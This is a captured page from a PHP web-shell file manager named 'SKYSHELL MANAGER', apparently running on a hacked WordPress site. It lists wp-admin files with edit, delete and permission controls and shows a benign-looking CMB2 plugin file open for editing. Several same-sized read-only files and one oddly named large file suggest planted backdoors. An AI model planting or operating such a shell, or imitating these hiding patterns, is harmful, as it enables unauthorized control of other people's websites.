📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: CMB2_Type_Wysiwyg.php
<?php /** * CMB wysiwyg field type * * @since 2.2.2 * * @category WordPress_Plugin * @package CMB2 * @author CMB2 team * @license GPL-2.0+ * @link https://cmb2.io * * @method string _id() * @method string _desc() */ class CMB2_Type_Wysiwyg extends CMB2_Type_Textarea { /** * Handles outputting a 'wysiwyg' element * @since 1.1.0 * @return string Form wysiwyg element */ public function render() { $field = $this->field; $a = $this->parse_args( 'wysiwyg', array( 'id' => $this->_id(), 'value' => $field->escaped_value( 'stripslashes' ), 'desc' => $this->_desc( true ), 'options' => $field->options(), ) ); if ( ! $field->group ) { return $this->rendered( $this->get_wp_editor( $a ) . $a['desc'] ); } // wysiwyg fields in a group need some special handling. $field->add_js_dependencies( 'wp-util' ); $field->add_js_dependencies( 'cmb2-wysiwyg' ); // Hook in our template-output to the footer. add_action( is_admin() ? 'admin_footer' : 'wp_footer', array( $this, 'add_wysiwyg_template_for_group' ) ); return $this->rendered( sprintf( '<div class="cmb2-wysiwyg-wrap">%s', parent::render( array( 'class' => 'cmb2_textarea cmb2-wysiwyg-placeholder', 'data-groupid' => $field->group->id(), 'data-iterator' => $field->group->index, 'data-fieldid' => $field->id( true ), 'desc' => '</div>' . $this->_desc( true ), ) ) ) ); } protected function get_wp_editor( $args ) { ob_start(); wp_editor( $args['value'], $args['id'], $args['options'] ); return ob_get_clean(); } public function add_wysiwyg_template_for_group() { $group_id = $this->field->group->id(); $field_id = $this->field->id( true ); $options = $this->field->options(); $options['textarea_name'] = 'cmb2_n_' . $group_id . $field_id; // Initate the editor with special id/value/name so we can retrieve the options in JS. $editor = $this->get_wp_editor( array( 'value' => 'cmb2_v_' . $group_id . $field_id, 'id' => 'cmb2_i_' . $group_id . $field_id, 'options' => $options, ) ); // Then replace the special id/value/name with underscore placeholders. $editor = str_replace( array( 'cmb2_n_' . $group_id . $field_id, 'cmb2_v_' . $group_id . $field_id, 'cmb2_i_' . $group_id . $field_id, ), array( '{{ data.name }}', '{{{ data.value }}}', '{{ data.id }}', ), $editor ); // And put the editor instance in a JS template wrapper. echo '<script type="text/template" id="tmpl-cmb2-wysiwyg-' . $group_id . '-' . $field_id . '">'; // Need to wrap the template in a wrapper div w/ specific data attributes which will be used when adding/removing rows. echo '<div class="cmb2-wysiwyg-inner-wrap" data-iterator="{{ data.iterator }}" data-groupid="' . $group_id . '" data-id="' . $field_id . '">' . $editor . '</div>'; echo '</script>'; } }
Save